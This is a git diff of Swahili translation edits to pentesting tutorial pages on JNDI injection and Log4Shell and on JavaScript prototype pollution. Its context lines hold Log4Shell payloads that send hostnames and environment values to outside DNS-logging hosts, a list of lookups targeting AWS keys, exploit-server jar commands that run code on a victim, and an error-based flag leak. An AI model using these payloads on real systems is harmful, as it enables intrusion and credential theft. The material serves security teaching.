"read";`) au kwa directories maalum ambapo faili zenye madhara zinaweza kuwekwa. +- Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<>", "read";`) au kwa saraka maalum ambapo faili zenye madhara zinaweza kuwekwa. -Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa default. +Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa chaguo-msingi. ### RMI Context -Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa usio na mipaka umewekwa mipaka kwa default. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupuuzilia mbali Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA. +Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa usio na mipaka umewekwa mipaka kwa chaguo-msingi. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA. ### LDAP Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\ -**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwenye seva ya LDAP na **kupata sifa zake**.\ +**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\ **Utafutaji** unakusudia **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**. Ikiwa utafutaji wa LDAP ulifanywa kwa **SearchControls.setReturningObjFlag() na `true`, basi kitu kilichorejeshwa kitawekwa upya**. -Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\ -Mshambuliaji anaweza **kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano. +Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\ +**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano. Ikiwa unaweza **kufanya programu kutatua JNDI LDAP URL**, unaweza kudhibiti LDAP ambayo itatafutwa, na unaweza kutuma nyuma exploit (log4shell). @@ -83,27 +83,27 @@ Ni rahisi kushambulia LDAP hii kwa kutumia **JavaFactory references**: ## Log4Shell Vulnerability -Udhaifu huu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) nyingi ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java. +Udhaifu huu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya nambari tofauti za [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java. -[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya default haitumiki. +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya chaguo-msingi haitumiki. Ikiwa **: ipo** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa. -Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo hatarishi la Log4j linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia pembejeo** na data ambayo mendelevu alionyesha. +Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo la Log4j lililo hatarini linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumika sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia pembejeo** na data ambayo mendelezi alionyesha. ## Overview of Log4Shell-Related CVEs ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]** -Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). +Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kuanzia 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]** -Kwanza ilikadiria chini lakini baadaye ilipandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default. +Kwanza ilikadiria chini lakini baadaye ikapandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa chaguo-msingi, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa chaguo-msingi. ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]** -Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa default ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`. +Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa chaguo-msingi ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`. ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]** @@ -111,7 +111,7 @@ Udhaifu huu unaathiri **mfumo wa kurekodi wa Logback**, mrithi wa Log4j 1.x. Awa ### **CVE-2021-45105** **\[High]** -Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanaweza kupatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). +Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) @@ -121,7 +121,7 @@ Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ### Discovery -Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau **ombwe la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama: +Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama: - `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (ukitumia [canarytokens.com](https://canarytokens.org/generate)) - `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (ukitumia [interactsh](https://github.com/projectdiscovery/interactsh)) @@ -129,14 +129,14 @@ Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau - `${jndi:ldap://2j4ayo.dnslog.cn}` (ukitumia [dnslog](http://dnslog.cn)) - `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ukitumia (ukitumia [huntress](https://log4shell.huntress.com)) -Kumbuka kuwa **hata kama ombwe la DNS linapokelewa hiyo haimaanishi programu hiyo inaweza kutumika vibaya** (au hata kuwa na udhaifu), itabidi ujaribu kuishambulia. +Kumbuka kuwa **hata kama ombio la DNS linapokelewa hilo halimaanishi kuwa programu inaweza kutumika vibaya** (au hata kuwa hatarini), itabidi ujaribu kuishambulia. > [!NOTE] > Kumbuka kuwa ili **ku exploit toleo 2.15** unahitaji kuongeza **bypass ya ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...} #### **Local Discovery** -Tafuta **matoleo ya ndani yenye udhaifu** ya maktaba kwa: +Tafuta **matoleo ya ndani ya maktaba yaliyo hatarini** kwa: ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` @@ -149,9 +149,9 @@ Hii inaweza kuwa na manufaa sana kwa mambo 2: - Ili **kuchota taarifa** kwa kutumia udhaifu Kwa mfano unaweza kuomba kitu kama:\ -au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya env**, unajua programu hiyo ina udhaifu. +au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya mazingira**, unajua programu hiyo ina udhaifu. -Taarifa nyingine unazoweza kujaribu **kuvuja**: +Taarifa nyingine unayoweza kujaribu **kuchota**: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} @@ -246,7 +246,7 @@ ${jndi:ldap://:1389/Exploit} > > Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza. -Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo na udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Programu hii iliyo na udhaifu inarekodi kwa toleo lenye udhaifu la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_. +Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo na udhaifu wa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Programu hii iliyo na udhaifu inarekodi kwa toleo lenye udhaifu la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_. Kisha, unaweza kupakua faili ya **JNDIExploit** jar na kuitekeleza kwa: ```bash @@ -254,7 +254,7 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` -Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakuwa na uwezo wa kuelewa ni payload gani inahitaji kutolewa na itamwelekeza mwathirika kwa seva ya HTTP, ambayo itatoa exploit.\ +Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakuwa na uwezo wa kuelewa ni payload ipi inapaswa kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit.\ Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yatakuwa **yanazalisha exploits**. Unaweza kuona exploits zote zinazopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya zile muhimu ni: @@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172. # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` -_Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutokana na darasa lililoaminika ili kutekeleza msimbo wa kiholela._ +_Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutoka kwa darasa lililoaminika ili kutekeleza msimbo wa kawaida._ ### RCE - JNDI-Injection-Exploit-Plus @@ -296,7 +296,7 @@ _Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafa ### RCE - ysoserial & JNDI-Exploit-Kit -Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kiholela** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_). +Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kawaida** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_). Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI: ```bash @@ -347,13 +347,13 @@ Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202 Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia: -> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi. +> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa default. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi. -> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **tu nyuzi za kutafuta katika usanidi zinaongezwa kwa njia ya kurudi**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linaweza kutatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwa. +> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **tu nyuzi za kutafuta katika usanidi zinaongezwa kwa njia ya kurudiarudia**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linaweza kutatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwa. -Hii ina maana kwamba kwa chaguo-msingi unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudi** unahitaji kuwa na hizo zimewekwa. +Hii inamaanisha kwamba kwa default unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudiarudia** unahitaji kuwa na hizo zimewekwa. -Kwa mfano, katika CTF hiyo hii ilipangwa katika faili log4j2.xml: +Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml: ```xml @@ -367,7 +367,7 @@ Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-n ### Exfiltration in Exceptions -Katika CTF, **hukuweza kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa: +Katika CTF, huwezi **kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa: ![](<../../images/image (1023).png>) @@ -385,8 +385,8 @@ Hata hivyo, inawezekana kutumia **patterns za uongofu ambazo zinasaidia regexes* - **Binary search kupitia ujumbe wa makosa** -Pattern ya uongofu **`%replace`** inaweza kutumika kubadilisha **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\ -Kwa kutumia tabia hii unaweza kufanya kubadilisha **kuanzisha kosa ikiwa regex ilikubaliana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama hii: +Pattern ya uongofu **`%replace`** inaweza kutumika **kuchukua nafasi** ya **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\ +Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuanzishe kosa ikiwa regex itakutana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa hakupatikana) kama ifuatavyo: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 9d04bc556..745c2bc13 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -4,14 +4,14 @@ ## Objects in JavaScript -Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa. +Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu chochote kilichorithiwa. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa. ```javascript // Run this in the developers tools console console.log(Object.create(null)) // This will output an empty object. ``` -Kitu kisichokuwa na kitu ni sawa na kamusi isiyo na kitu, inawakilishwa kama `{}`. +Kitu kisichokuwa na kitu ni sawa na kamusi tupu, kinachowakilishwa kama `{}`. -### Functions and Classes in JavaScript +### Kazi na Madarasa katika JavaScript Katika JavaScript, madarasa na kazi zinahusiana kwa karibu, ambapo kazi mara nyingi hutumikia kama wajenzi wa madarasa. Licha ya ukosefu wa msaada wa asili wa darasa katika JavaScript, wajenzi wanaweza kuiga tabia ya darasa. ```javascript @@ -33,7 +33,7 @@ employee1.__proto__ ``` ### Prototypes katika JavaScript -JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utekelezaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik. +JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utendaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik. Mifunction kama `toString` na `valueOf` inaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript. @@ -78,7 +78,7 @@ console.log(car1.isVehicle) // Outputs true ``` ## prototype pollution -Katika hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala: +Kwa hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala: ```javascript function Vehicle(model) { this.model = model @@ -100,7 +100,7 @@ car1.constructor.prototype.isElectric = true ``` Hii inahusisha tu vitu vilivyoundwa kutoka kwa `Vehicle` constructor, ikiwapa mali za `beep`, `hasWheels`, `honk`, na `isElectric`. -Njia mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na: +Mbinu mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na: 1. Kuathiri moja kwa moja `Object.prototype`: ```javascript @@ -144,7 +144,7 @@ console.log(key1 + "." + key2) ``` ### Uchafuzi wa vipengele vya array -Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia **kuchafua thamani za array** zinazopatikana **kwa viashiria** (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijandikwa). +Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia **kuchafua thamani za array** zinazopatikana **kwa viashiria** (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijaandikwa). ```javascript c = [1, 2] a = [] @@ -156,7 +156,7 @@ c[1] // 2 -- not ``` ### Uharibifu wa vipengele vya Html -Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana **kufuta** sifa ya **`innerHTML`** ili kufanya iweze kuandika **kanuni za HTML zisizo na mipaka.** [Wazo na mfano kutoka kwa andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). +Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana **kufuta** sifa ya **`innerHTML`** ili kufanya iweze kuandika **kanuni za HTML zisizo na mpangilio.** [Wazo na mfano kutoka kwa andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). ```javascript // Create element devSettings["root"] = document.createElement('main') @@ -183,11 +183,11 @@ Object.prototype.isAdmin = true let user = {} user.isAdmin // true ``` -Mechanism hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti wa ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu. +Mekanismu nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulasi hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu. -Masharti ambayo shambulio hili linaweza kufanywa kwa mafanikio, kama ilivyoelezwa katika [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na: +Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na: -- Kufanya muunganiko wa kurudi. +- Kufanya muungano wa kurudi. - Kuweka mali kulingana na njia. - Kutoa vitu. @@ -232,24 +232,24 @@ Uthibitisho huu, ulioainishwa kama CVE-2019–11358, unaonyesha jinsi nakala ya ### Zana za kugundua Uchafuzi wa Prototype -- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa na uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js. +- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa kuskania maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js. - [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika [uchafuzi wa prototype upande wa seva](https://portswigger.net/research/server-side-prototype-pollution). ### Uchafuzi wa Prototype wa AST katika NodeJS -NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Kiholela (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug. +NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Abstrakti (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii 